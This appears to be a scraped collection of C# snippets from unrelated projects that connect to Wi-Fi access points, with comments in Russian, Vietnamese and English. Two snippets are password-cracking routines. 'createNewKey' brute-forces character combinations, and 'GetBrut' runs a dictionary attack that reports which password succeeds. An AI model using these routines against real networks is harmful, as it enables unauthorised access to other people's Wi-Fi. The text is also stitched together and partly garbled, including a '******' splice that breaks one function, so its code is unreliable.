public bool Connect(AccessPoint ap, string password) { try { var authRequest = new AuthRequest(ap); bool overwrite = true; if (authRequest.IsPasswordRequired) { if (!ap.IsValidPassword(password)) { return(false); } authRequest.Password = password; } else { authRequest.Password = ""; } try { return(ap.Connect(authRequest, true)); } catch (Exception) { return(false); } } catch (Exception) { } return(true); }
private static void createNewKey(int currentCharPosition, char[] keyChars, int keyLength, int indexOfLastChar) { int nextCharPosition = currentCharPosition + 1; for (int i = 0; i < charactersToTestLength; i++) { keyChars[currentCharPosition] = charactersToTest[i]; if (currentCharPosition < indexOfLastChar) { createNewKey(nextCharPosition, keyChars, keyLength, indexOfLastChar); } else { computedKeys++; if (BrutreForceAccess.IsValidPassword((new String(keyChars)))) { if (BrutreForceAccess.Connect(new AuthRequest(BrutreForceAccess))) { if (!isMatched) { isMatched = true; result = new String(keyChars); } return; } } } } }
private string EnterPassword(AccessPoint selectedAP, string password) { bool validPassFormat = false; while (!validPassFormat) { validPassFormat = selectedAP.IsValidPassword(password); if (!validPassFormat) { MessageBox.Show("Mật khẩu không chính xác!"); break; } } return(password); }
private void ConnectAccessPoint(AccessPoint ap) { AuthRequest authRequest = new AuthRequest(ap); bool overwrite = false; if (authRequest.IsPasswordRequired) { if (!ap.HasProfile) { //= Interaction.InputBox("", "Input PassWord"); InputDialog.Show(out string pwd, "Input the password"); if (pwd.Length >= 8 && !string.IsNullOrWhiteSpace(pwd.Trim()) && ap.IsValidPassword(pwd)) { authRequest.Password = pwd; } } } ap.ConnectAsync(authRequest, overwrite, OnConnectedComplete); }
static string PasswordPrompt(AccessPoint selectedAP) { string password = string.Empty; bool validPassFormat = false; while (!validPassFormat) { Console.Write("\r\nPlease enter the wifi password: "******"\r\nPassword is not valid for this network type."); } } return(password); }
private static string PasswordPrompt(AccessPoint selectedAP)//получение пароля сети { string password = string.Empty; bool validPassFormat = false; //вызов формы ввода пароля frmAuthPass frmpass = new frmAuthPass(); frmpass.Owner = frmWelcome.ActiveForm; frmpass.ShowDialog(frmWelcome.ActiveForm); //пока не получим правильный формат пароля while (!validPassFormat) { password = frmpass.txtPass.Text; validPassFormat = selectedAP.IsValidPassword(password); //проверка пароля if (!validPassFormat) //неверный формат { DialogResult res = MetroMessageBox.Show(frmpass, "The password format is incorrect", "Exception", MessageBoxButtons.OKCancel, MessageBoxIcon.Information); if (res == DialogResult.Cancel)//отмена подключения { break; } else//новая попытка ввода пароля { //вызов формы ввода пароля frmAuthPass frmpassNext = new frmAuthPass(); frmpassNext.Owner = frmWelcome.ActiveForm; frmpassNext.txtPass.BackColor = Color.FromArgb(249, 188, 185); frmpassNext.ShowDialog(); } } } return(password); }
private void ConnectSubButton_Click(object sender, EventArgs e) { // Требуется ли пароль if (authRequest.IsPasswordRequired) { if (selectedAP.HasProfile) // Спросим - соединиться по старому профилю или по новому? { showRichTextBox2.Text += ("\r\n-> Профиль уже существует, хочешь ли ты соединиться по старому паролю?"); if (MessageBox.Show("Профиль уже существует, хочешь ли ты соединиться по старому паролю? ", "Сообщение", MessageBoxButtons.OKCancel, MessageBoxIcon.Stop) == DialogResult.OK) { overwrite = false; textBoxUsername.Visible = false; textBoxPassword.Visible = false; textBoxDomain.Visible = false; } } if (overwrite) { if (authRequest.IsUsernameRequired) { showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите имя пользователя"); authRequest.Username = textBoxUsername.Text; } string password = string.Empty; bool validPassFormat = false; if (!validPassFormat) { showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите пароль к точке "); password = textBoxPassword.Text; validPassFormat = selectedAP.IsValidPassword(password); if (!validPassFormat) { showRichTextBox2.Text += ("\r\n-> Неверный пароль."); MessageBox.Show("Не верный пароль."); return; } else { authRequest.Password = password; } } if (authRequest.IsDomainSupported) { showRichTextBox2.Text += ("\r\n-> Пожалуйста, введите имя домена: "); authRequest.Domain = textBoxDomain.Text; } } } bool success = selectedAP.Connect(authRequest, overwrite); connectionString = string.Format("\nСоединение удалось: {0}", success ? "да" : "нет"); showRichTextBox2.Text += connectionString; this.Close(); }
/// <summary> /// Предусмотрен брут только тех точек, которые требуют только пароль /// </summary> public void GetBrut(object ap) { AccessPoint selectedAP = (AccessPoint)ap; var authRequest = new AuthRequest(selectedAP); if (authRequest.IsDomainSupported || authRequest.IsUsernameRequired) { ChangeShowRichTextBox2(" Соединение требует не только пароль, но и логин пользователя/домен\n"); stopBrut = true; return; } if (authRequest.IsPasswordRequired) { for (int i = 0; i < passwords.Length && !stopBrut; i++) { bool overwrite = true; string pass = passwords[i]; // Требуется ли пароль if (overwrite) { bool validPassFormat = false; validPassFormat = selectedAP.IsValidPassword(pass); if (!validPassFormat) { ChangeShowRichTextBox2("-> Невалидный пароль:" + pass + "\r\n"); continue; } else { authRequest.Password = pass; bool success = selectedAP.Connect(authRequest, overwrite); if (success) { stopBrut = true; ChangeShowRichTextBox2(" Соединение удалось, пароль: " + pass); ChangeButtonBrut("Начать перебор паролей к сети", true); return; } else { ChangeShowRichTextBox2(i + " Соединение не удалось по паролю: " + pass); } } } ChangeLabelUsedPasses((i + 1).ToString()); ChangeLabelUnUsedPasses((passwords.Length - i - 1).ToString()); } } else { ChangeShowRichTextBox2(" Соединение свободно, пароль не требуется\n"); ChangeButtonBrut("Начать перебор паролей к сети"); t.Abort(); stopBrut = true; return; } t.Abort(); stopBrut = true; ChangeButtonBrut("Начать перебор паролей к сети"); ChangeShowRichTextBox2(string.Format("\n Пароль не найден")); }